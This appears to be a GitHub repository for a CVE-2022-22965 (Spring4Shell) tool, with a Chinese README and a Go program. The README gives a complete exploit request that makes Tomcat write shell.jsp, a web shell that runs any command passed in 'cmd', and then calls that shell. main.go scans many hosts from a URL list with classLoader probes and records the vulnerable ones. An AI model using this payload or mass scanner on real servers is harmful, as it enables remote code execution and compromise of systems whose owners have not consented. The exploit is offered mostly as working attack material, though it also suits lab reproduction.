├── .idea ├── .gitignore ├── CVE-2022-22965-Spring-CachedintrospectionResults-Rce.iml ├── modules.xml └── vcs.xml ├── README.md ├── go.mod ├── go.sum ├── main.go └── url.txt /.idea/.gitignore: -------------------------------------------------------------------------------- 1 | # 默认忽略的文件 2 | /shelf/ 3 | /workspace.xml 4 | # 基于编辑器的 HTTP 客户端请求 5 | /httpRequests/ 6 | # Datasource local storage ignored files 7 | /dataSources/ 8 | /dataSources.local.xml 9 | -------------------------------------------------------------------------------- /.idea/CVE-2022-22965-Spring-CachedintrospectionResults-Rce.iml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | -------------------------------------------------------------------------------- /.idea/modules.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | -------------------------------------------------------------------------------- /.idea/vcs.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | ## Spring-Core JDK9+ RCE 2 | 3 | ### 使用说明 4 | ``` 5 | ╰─ ./CVE-2022-22965 -h ─╯ 6 | 单个检测:./CVE-2022-22965 -u http://127.0.0.1:8080 7 | 批量检测:./CVE-2022-22965 -l url.txt 8 | ``` 9 | 10 | ### 漏洞本地测试 11 | 12 | ##### 0x01 docker镜像 13 | ``` 14 | docker pull vulfocus/spring-core-rce-2022-03-29 15 | docker run -itd -p 8080:8080 -P vulfocus/spring-core-rce-2022-03-29 16 | ``` 17 | -it:开启输入功能并连接伪终端 18 | -d: 后台运行容器 19 | -p: 端口映射 20 | 21 | ##### 0x02 本地war包 22 | 23 | 将war包放在本地webapps目录下 24 | jdk切换成9以上,我这里是jdk11,然后启动tomcat 25 | ![](https://files.mdnice.com/user/20935/1a2bfab0-4370-4a74-875e-5cf44df25d15.png) 26 | 注入EXP: 27 | 28 | ``` 29 | POST / HTTP/1.1 30 | Host: 127.0.0.1:8080 31 | Upgrade-Insecure-Requests: 1 32 | User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 33 | Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 34 | Accept-Encoding: gzip, deflate 35 | Accept-Language: zh-CN,zh;q=0.9 36 | Connection: close 37 | suffix: %> 38 | prefix: <%Runtime 39 | Content-Type: application/x-www-form-urlencoded 40 | Content-Length: 495 41 | 42 | class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bprefix%7Di.getRuntime%28%29.exec%28request.getParameter%28%22cmd%22%29%29%3B%25%7Bsuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.prefix=shell 43 | ``` 44 | 执行命令: 45 | ``` 46 | GET /shell.jsp?cmd=open%20/System/Applications/Calculator.app HTTP/1.1 47 | Host: 127.0.0.1:8080 48 | 49 | ``` 50 | 51 | ![](https://files.mdnice.com/user/20935/756d405c-7e1f-4882-9eac-fce9ba61711f.png) -------------------------------------------------------------------------------- /go.mod: -------------------------------------------------------------------------------- 1 | module CVE-2022-22965-Spring-CachedintrospectionResults-Rce 2 | 3 | go 1.16 4 | 5 | require ( 6 | github.com/go-resty/resty/v2 v2.7.0 7 | github.com/gogf/gf v1.16.7 8 | github.com/panjf2000/ants/v2 v2.4.8 9 | ) 10 | -------------------------------------------------------------------------------- /go.sum: -------------------------------------------------------------------------------- 1 | github.com/BurntSushi/toml v0.3.1 h1:WXkYYl6Yr3qBf1K79EBnL4mak0OimBfB0XUf9Vl28OQ= 2 | github.com/BurntSushi/toml v0.3.1/go.mod h1:xHWCNGjB5oqiDr8zfno3MHue2Ht5sIBksp03qcyfWMU= 3 | github.com/clbanning/mxj v1.8.5-0.20200714211355-ff02cfb8ea28 h1:LdXxtjzvZYhhUaonAaAKArG3pyC67kGL3YY+6hGG8G4= 4 | github.com/clbanning/mxj v1.8.5-0.20200714211355-ff02cfb8ea28/go.mod h1:BVjHeAH+rl9rs6f+QIpeRl0tfu10SXn1pUSa5PVGJng= 5 | github.com/davecgh/go-spew v1.1.0/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= 6 | github.com/davecgh/go-spew v1.1.1 h1:vj9j/u1bqnvCEfJOwUhtlOARqs3+rkHYY13jYWTU97c= 7 | github.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= 8 | github.com/fatih/color v1.12.0 h1:mRhaKNwANqRgUBGKmnI5ZxEk7QXmjQeCcuYFMX2bfcc= 9 | github.com/fatih/color v1.12.0/go.mod h1:ELkj/draVOlAH/xkhN6mQ50Qd0MPOk5AAr3maGEBuJM= 10 | github.com/fsnotify/fsnotify v1.4.9 h1:hsms1Qyu0jgnwNXIxa+/V/PDsU6CfLf6CNO8H7IWoS4= 11 | github.com/fsnotify/fsnotify v1.4.9/go.mod h1:znqG4EE+3YCdAaPaxE2ZRY/06pZUdp0tY4IgpuI1SZQ= 12 | github.com/go-resty/resty/v2 v2.7.0 h1:me+K9p3uhSmXtrBZ4k9jcEAfJmuC8IivWHwaLZwPrFY= 13 | github.com/go-resty/resty/v2 v2.7.0/go.mod h1:9PWDzw47qPphMRFfhsyk0NnSgvluHcljSMVIq3w7q0I= 14 | github.com/go-sql-driver/mysql v1.6.0 h1:BCTh4TKNUYmOmMUcQ3IipzF5prigylS7XXjEkfCHuOE= 15 | github.com/go-sql-driver/mysql v1.6.0/go.mod h1:DCzpHaOWr8IXmIStZouvnhqoel9Qv2LBy8hT2VhHyBg= 16 | github.com/gogf/gf v1.16.7 h1:lJ4NHZRAr7IBT6rm0/AuYhA4bxPq6bUDILqFxhkQ95I= 17 | github.com/gogf/gf v1.16.7/go.mod h1:8Q/kw05nlVRp+4vv7XASBsMe9L1tsVKiGoeP2AHnlkk= 18 | github.com/gomodule/redigo v1.8.5 h1:nRAxCa+SVsyjSBrtZmG/cqb6VbTmuRzpg/PoTFlpumc= 19 | github.com/gomodule/redigo v1.8.5/go.mod h1:P9dn9mFrCBvWhGE1wpxx6fgq7BAeLBk+UUUzlpkBYO0= 20 | github.com/google/go-cmp v0.5.6 h1:BKbKCqvP6I+rmFHt06ZmyQtvB8xAkWdhFyr0ZUNZcxQ= 21 | github.com/google/go-cmp v0.5.6/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE= 22 | github.com/gorilla/websocket v1.4.2 h1:+/TMaTYc4QFitKJxsQ7Yye35DkWvkdLcvGKqM+x0Ufc= 23 | github.com/gorilla/websocket v1.4.2/go.mod h1:YR8l580nyteQvAITg2hZ9XVh4b55+EU/adAjf1fMHhE= 24 | github.com/grokify/html-strip-tags-go v0.0.1 h1:0fThFwLbW7P/kOiTBs03FsJSV9RM2M/Q/MOnCQxKMo0= 25 | github.com/grokify/html-strip-tags-go v0.0.1/go.mod h1:2Su6romC5/1VXOQMaWL2yb618ARB8iVo6/DR99A6d78= 26 | github.com/mattn/go-colorable v0.1.8 h1:c1ghPdyEDarC70ftn0y+A/Ee++9zz8ljHG1b13eJ0s8= 27 | github.com/mattn/go-colorable v0.1.8/go.mod h1:u6P/XSegPjTcexA+o6vUJrdnUu04hMope9wVRipJSqc= 28 | github.com/mattn/go-isatty v0.0.12 h1:wuysRhFDzyxgEmMf5xjvJ2M9dZoWAXNNr5LSBS7uHXY= 29 | github.com/mattn/go-isatty v0.0.12/go.mod h1:cbi8OIDigv2wuxKPP5vlRcQ1OAZbq2CE4Kysco4FUpU= 30 | github.com/mattn/go-runewidth v0.0.9 h1:Lm995f3rfxdpd6TSmuVCHVb/QhupuXlYr8sCI/QdE+0= 31 | github.com/mattn/go-runewidth v0.0.9/go.mod h1:H031xJmbD/WCDINGzjvQ9THkh0rPKHF+m2gUSrubnMI= 32 | github.com/olekukonko/tablewriter v0.0.5 h1:P2Ga83D34wi1o9J6Wh1mRuqd4mF/x/lgBS7N7AbDhec= 33 | github.com/olekukonko/tablewriter v0.0.5/go.mod h1:hPp6KlRPjbx+hW8ykQs1w3UBbZlj6HuIJcUGPhkA7kY= 34 | github.com/panjf2000/ants/v2 v2.4.8 h1:JgTbolX6K6RreZ4+bfctI0Ifs+3mrE5BIHudQxUDQ9k= 35 | github.com/panjf2000/ants/v2 v2.4.8/go.mod h1:f6F0NZVFsGCp5A7QW/Zj/m92atWwOkY0OIhFxRNFr4A= 36 | github.com/pmezard/go-difflib v1.0.0 h1:4DBwDE0NGyQoBHbLQYPwSUPoCMWR5BEzIk/f1lZbAQM= 37 | github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4= 38 | github.com/stretchr/objx v0.1.0/go.mod h1:HFkY916IF+rwdDfMAkV7OtwuqBVzrE8GR6GFx+wExME= 39 | github.com/stretchr/testify v1.4.0/go.mod h1:j7eGeouHqKxXV5pUuKE4zz7dFj8WfuZ+81PSLYec5m4= 40 | github.com/stretchr/testify v1.5.1/go.mod h1:5W2xD1RspED5o8YsWQXVCued0rvSQ+mT+I5cxcmMvtA= 41 | github.com/stretchr/testify v1.7.0 h1:nwc3DEeHmmLAfoZucVR881uASk0Mfjw8xYJ99tb5CcY= 42 | github.com/stretchr/testify v1.7.0/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg= 43 | go.opentelemetry.io/otel v1.0.0 h1:qTTn6x71GVBvoafHK/yaRUmFzI4LcONZD0/kXxl5PHI= 44 | go.opentelemetry.io/otel v1.0.0/go.mod h1:AjRVh9A5/5DE7S+mZtTR6t8vpKKryam+0lREnfmS4cg= 45 | go.opentelemetry.io/otel/trace v1.0.0 h1:TSBr8GTEtKevYMG/2d21M989r5WJYVimhTHBKVEZuh4= 46 | go.opentelemetry.io/otel/trace v1.0.0/go.mod h1:PXTWqayeFUlJV1YDNhsJYB184+IvAH814St6o6ajzIs= 47 | golang.org/x/net v0.0.0-20210520170846-37e1c6afe023/go.mod h1:9nx3DQGgdP8bBQD5qxJ1jj9UTztislL4KSBs9R2vV5Y= 48 | golang.org/x/net v0.0.0-20211029224645-99673261e6eb h1:pirldcYWx7rx7kE5r+9WsOXPXK0+WH5+uZ7uPmJ44uM= 49 | golang.org/x/net v0.0.0-20211029224645-99673261e6eb/go.mod h1:9nx3DQGgdP8bBQD5qxJ1jj9UTztislL4KSBs9R2vV5Y= 50 | golang.org/x/sys v0.0.0-20191005200804-aed5e4c7ecf9/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= 51 | golang.org/x/sys v0.0.0-20200116001909-b77594299b42/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= 52 | golang.org/x/sys v0.0.0-20200223170610-d5e6a3e2c0ae/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= 53 | golang.org/x/sys v0.0.0-20201119102817-f84b799fce68/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= 54 | golang.org/x/sys v0.0.0-20210423082822-04245dca01da h1:b3NXsE2LusjYGGjL5bxEVZZORm/YEFFrWFjR8eFrw/c= 55 | golang.org/x/sys v0.0.0-20210423082822-04245dca01da/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= 56 | golang.org/x/term v0.0.0-20201126162022-7de9c90e9dd1/go.mod h1:bj7SfCRtBDWHUb9snDiAeCFNEtKQo2Wmx5Cou7ajbmo= 57 | golang.org/x/text v0.3.6 h1:aRYxNxv6iGQlyVaZmk6ZgYEDa+Jg18DxebPSrd6bg1M= 58 | golang.org/x/text v0.3.6/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ= 59 | golang.org/x/tools v0.0.0-20180917221912-90fa682c2a6e/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ= 60 | golang.org/x/xerrors v0.0.0-20191204190536-9bdfabe68543/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0= 61 | gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405 h1:yhCVgyC4o1eVCa2tZl7eS0r+SDo693bJlVdllGtEeKM= 62 | gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0= 63 | gopkg.in/yaml.v2 v2.2.2/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI= 64 | gopkg.in/yaml.v2 v2.2.7/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI= 65 | gopkg.in/yaml.v3 v3.0.0-20200313102051-9f266ea9e77c/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM= 66 | gopkg.in/yaml.v3 v3.0.0-20210107192922-496545a6307b h1:h8qDotaEPuJATrMmW04NCwg7v22aHH28wwpauUhK9Oo= 67 | gopkg.in/yaml.v3 v3.0.0-20210107192922-496545a6307b/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM= 68 | -------------------------------------------------------------------------------- /main.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "bufio" 5 | "flag" 6 | "fmt" 7 | "github.com/go-resty/resty/v2" 8 | "github.com/panjf2000/ants/v2" 9 | "net/http" 10 | "os" 11 | "strings" 12 | "sync" 13 | "time" 14 | ) 15 | 16 | var finalresult []string 17 | 18 | func verify(target interface{}) { 19 | t := target.(string) 20 | //第一个请求(发送如下数据包获取200) 21 | client1 := resty.New() 22 | client1.SetTimeout(15 * time.Second) 23 | resp1, err := client1.R().SetQueryParam("class.module.classLoader.DefaultAssertionStatus", "true").Get(t) 24 | if err != nil { 25 | fmt.Println("Request1 error: " + t) 26 | } else { 27 | if resp1.StatusCode() == http.StatusOK { 28 | //第2个请求(发送如下数据包获取400) 29 | client2 := resty.New() 30 | client2.SetTimeout(15 * time.Second) 31 | resp2, err := client2.R().SetQueryParam("class.module.classLoader.DefaultAssertionStatus", "x").Get(t) 32 | if err != nil { 33 | fmt.Println("Request2 error: " + t) 34 | } else { 35 | if resp2.StatusCode() == http.StatusBadRequest { 36 | fmt.Println(t + " is vulnerable") 37 | finalresult = append(finalresult, t) 38 | } 39 | } 40 | } else { 41 | client3 := resty.New() 42 | client3.SetTimeout(15 * time.Second) 43 | resp3, err := client3.R().SetHeader("Content-Type", "application/x-www-form-urlencoded").SetBody("class.module.classLoader.DefaultAssertionStatus=true").Post(t) 44 | if err != nil { 45 | fmt.Println("Request3 error: " + t) 46 | } else { 47 | if resp3.StatusCode() == http.StatusOK { 48 | client4 := resty.New() 49 | client4.SetTimeout(15 * time.Second) 50 | resp4, err := client3.R().SetHeader("Content-Type", "application/x-www-form-urlencoded").SetBody("class.module.classLoader.DefaultAssertionStatus=x").Post(t) 51 | if err != nil { 52 | fmt.Println("Request4 error: " + t) 53 | } else { 54 | if resp4.StatusCode() == http.StatusBadRequest { 55 | fmt.Println(t + " is vulnerable") 56 | finalresult = append(finalresult, t) 57 | } 58 | } 59 | } 60 | } 61 | } 62 | 63 | } 64 | } 65 | 66 | func main() { 67 | var targetURL, filepath string 68 | var thread int 69 | targets := []string{} 70 | flag.StringVar(&targetURL, "u", "", "") 71 | flag.StringVar(&filepath, "l", "", "") 72 | flag.IntVar(&thread, "t", 10, "") 73 | flag.CommandLine.Usage = func() { 74 | fmt.Println("单个检测:./CVE-2022-22965 -u http://127.0.0.1:8080") 75 | fmt.Println("批量检测:./CVE-2022-22965 -l url.txt ") 76 | } 77 | flag.Parse() 78 | 79 | if len(targetURL) == 0 { 80 | file, err := os.OpenFile(filepath, os.O_RDWR, 0666) 81 | if err != nil { 82 | fmt.Println("Open file error!", err) 83 | return 84 | } 85 | defer file.Close() 86 | 87 | scanner := bufio.NewScanner(file) 88 | for scanner.Scan() { 89 | target := scanner.Text() 90 | if target == "" { 91 | continue 92 | } 93 | if !strings.Contains(target, "http") { 94 | target = "http://" + target 95 | } 96 | targets = append(targets, target) 97 | } 98 | wg := sync.WaitGroup{} 99 | p, _ := ants.NewPoolWithFunc(thread, func(i interface{}) { 100 | verify(i) 101 | wg.Done() 102 | }) 103 | defer p.Release() 104 | 105 | for _, t := range targets { 106 | wg.Add(1) 107 | _ = p.Invoke(t) 108 | } 109 | wg.Wait() 110 | fileName := "vuln.txt" 111 | file, err = os.Create(fileName) 112 | if err != nil { 113 | return 114 | } 115 | defer file.Close() 116 | for _, v := range finalresult { 117 | file.WriteString(v + "\n") 118 | } 119 | 120 | } else { 121 | verify(targetURL) 122 | } 123 | } 124 | -------------------------------------------------------------------------------- /url.txt: -------------------------------------------------------------------------------- 1 | 127.0.0.1:8080 --------------------------------------------------------------------------------